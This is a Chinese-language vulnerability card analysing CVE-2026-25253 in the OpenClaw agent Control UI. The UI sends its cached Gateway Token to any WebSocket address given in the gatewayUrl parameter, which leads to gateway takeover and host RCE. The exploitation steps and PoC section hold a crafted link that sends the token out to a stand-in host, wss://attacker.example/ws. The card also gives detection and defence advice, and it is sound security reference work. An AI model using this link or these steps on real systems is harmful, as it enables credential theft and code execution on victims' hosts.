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OpenClaw Control UI 无条件信任 gatewayUrl:WebSocket 握手自动外带 Gateway Token 导致 Gateway 接管与宿主机 RCE(CVE-2026-25253)

ai-security/agent-security · verified

一句话结论

OpenClaw 的 Control UI 在加载时无条件信任 URL 查询参数 gatewayUrl,会向该参数指定的任意地址发起 WebSocket 连接,并在握手阶段自动附带本地缓存的 Gateway Token;攻击者诱导受害者打开一条带恶意 gatewayUrl 的链接,即可在自己的 WebSocket 服务端收到 Token,再用该 Token 完全控制 Gateway,最终在宿主机上执行任意代码(CVE-2026-25253,CVSS 8.8)。

原理

  • Control UI 是 Gateway 的本地管理面:OpenClaw 的 Control UI 是浏览器里的管理界面,负责连接 Gateway 的 WebSocket 接口并调用管理能力;连接所需的 Gateway Token 由 UI 在本机缓存(如浏览器本地存储),后续连接时自动复用,避免用户反复输入。
  • 地址来源与凭证去向分离:Control UI 从 URL 查询参数 gatewayUrl 读取“要连哪个 Gateway”,但没有校验该地址是否为本机或受信端点;同时它在握手时无条件附带本机缓存的 Gateway Token,而不是只向默认的 localhost/官方端点发送凭证。于是“用户可控的连接目标”和“高价值本地凭证”在同一个动作里被拼到了一起。
  • WebSocket 不受同源策略保护:浏览器对 WebSocket 握手不做 CORS 预检,页面可以把连接指向任意 ws:///wss:// 地址;服务端只能看到握手中的 Origin 等字段,是否接受跨站连接完全取决于服务端校验。该漏洞中 Control UI 主动把连接发起权交给了 URL 参数,浏览器不会替用户拦截。
  • Token 即 Gateway 的完整权限凭证:Gateway Token 是连接 Gateway WebSocket API 的认证凭据。拿到 Token 的攻击者可以像正常 Control UI 一样完成握手、调用 Gateway 的管理接口,控制连接该 Gateway 的平台账号,并通过 Gateway 的宿主执行能力落地命令,形成 RCE。
  • 为什么是架构问题而非单纯提示词问题:攻击不依赖让模型“相信”某段话,而是利用 UI 的信任边界错误——把本地缓存凭证发送给未校验的第三方地址。因此 prompt 层的 Safety 规则、工具审批等机制都拦不住这一步,必须先拿到 Token 才能进入后续链路。

触发条件

  • 目标运行存在该缺陷的 OpenClaw 版本,Control UI 可被受害者浏览器打开,且本机已缓存 Gateway Token(通常用户登录/配对过 Control UI)。
  • 攻击者能向受害者投递一条链接或诱导其访问可控页面,链接中的 gatewayUrl 指向攻击者控制的 WebSocket 端点。
  • 受害者点击链接或在已打开 Control UI 的情况下被导航到该 URL。
  • Gateway 的 WebSocket 端口对攻击者可达,或攻击者可借助已泄露 Token 通过其他可达路径访问 Gateway;若 Gateway 仅绑定 127.0.0.1 且攻击者无法到达,Token 泄露本身仍成立,RCE 还需额外的网络位置条件。
  • 原文未给出精确受影响版本区间;文中提到该问题出现后安装默认将 Gateway(含 Control UI)绑定到 127.0.0.1:18789,可作为版本/配置侧的时间线参考,但不应据此猜测具体版本号。

利用步骤

  1. 攻击者准备一个 WebSocket 服务端(如 wss://attacker.example/ws),用于接收并记录握手请求中的 Token。
  2. 构造恶意链接,把 OpenClaw Control UI 的地址与 gatewayUrl 参数拼在一起,例如 http://<victim>:18789/?gatewayUrl=wss://attacker.example/ws;也可通过钓鱼页面、聊天消息或开放重定向投递。
  3. 受害者打开链接后,Control UI 读取 gatewayUrl,向攻击者地址发起 WebSocket 连接,并在握手请求中自动附带本地缓存的 Gateway Token。
  4. 攻击者从握手请求(请求头或 URL 参数,具体字段随版本而异)中提取 Token。
  5. 攻击者用该 Token 连接目标 Gateway 的 WebSocket 接口,调用管理/执行类能力;原文结论是 Token 泄露即可完全控制 Gateway,进而控制其连接的各平台账号并在宿主机执行任意代码。
  6. 若 Gateway 只监听回环地址,攻击者需先取得能访问该端口的网络位置(如受害主机上的其他入口、内网跳板或浏览器侧后续利用),否则只能停留在凭证窃取阶段。

PoC

原文未给出可直接执行的完整 PoC,以下为按文中机制还原的最小验证思路(未执行,字段名与协议消息需按目标版本核对):

# 攻击者侧:启动一个记录握手请求的 WebSocket 服务
# 例如使用任意 WS 库监听 wss://attacker.example/ws,打印 upgrade 请求的 headers 与 query

# 投递给受害者的链接(Control UI 默认端口示例)
http://127.0.0.1:18789/?gatewayUrl=wss://attacker.example/ws
验证要点(授权环境):
1) 受害者浏览器已登录/配对过 Control UI,本地存在 Gateway Token;
2) 打开上述链接后,攻击者 WS 服务端应收到来自受害者浏览器的握手;
3) 检查握手请求中是否携带 Gateway Token(原文描述为“自动附带”,具体承载位置按版本确认);
4) 用捕获的 Token 连接 Gateway WebSocket,验证可调用管理接口;不要在未授权环境执行。

变体与关联

  • 参数变体:gatewayUrl 之外,凡是允许从 URL/配置指定“上游/网关/BaseURL”并同时自动附带本地凭证的管理 UI,都可能复现同类“地址可控 + 凭证跟随”问题。
  • 投递变体:恶意链接、聊天消息、二维码、开放重定向、被攻陷的文档/网页均可作为入口;不要求受害者手动输入地址。
  • 凭证形态变体:浏览器 localStorage、IndexedDB、Cookie、桌面客户端配置文件中的 Token/API Key;只要 UI 在连接任意地址时自动带上,就等价于可被外带。
  • 关联卡片:[[ai-security-agent-security-llm-relay-baseurl-tool-call-hijack]](BaseURL 劫持伪造 Tool Call)、[[web-generic-websocket-browser-tools-mcp-cswsh-osascript-rce]](WebSocket 跨站劫持到本地 RCE);前者是响应侧篡改,本卡是连接侧凭证外带。
  • 边界:若 Control UI 对 gatewayUrl 做 localhost/白名单校验、仅在默认端点附带 Token,或 Token 与目标地址绑定,则利用不成立;若 Gateway 强制回环且攻击者无法到达,危害降为凭证泄露。

检测与防御

  • 地址校验:Control UI 只接受默认/白名单内的 Gateway 地址,拒绝从 URL 参数切换到任意外部主机;跨源目标一律不附带本地凭证。
  • 凭证绑定:Token 与 Gateway 身份/端点绑定,连接非默认地址时要求重新配对;避免把长期 Token 存成可被任意页面读取的形式。
  • 网络暴露面:Gateway 与 Control UI 默认绑定 127.0.0.1,不监听公网;确需远程访问时走认证反向代理与最小权限。
  • 浏览器侧:用 CSP 的 connect-src 限制 WebSocket 目标域;管理 UI 与业务页面分离,避免把管理面嵌入可被外部导航的上下文。
  • 检测:监控浏览器/主机向未知域名发起的 WebSocket 连接;审计 Gateway 登录来源 IP 与配置变更;对异常 Token 使用(新 IP、非 UI 客户端、批量管理调用)告警。
  • 响应:确认 Token 泄露后立即轮换 Gateway Token、断开可疑会话、检查 Gateway 配置与宿主机命令历史,并排查同一 Token 是否被用于其他实例。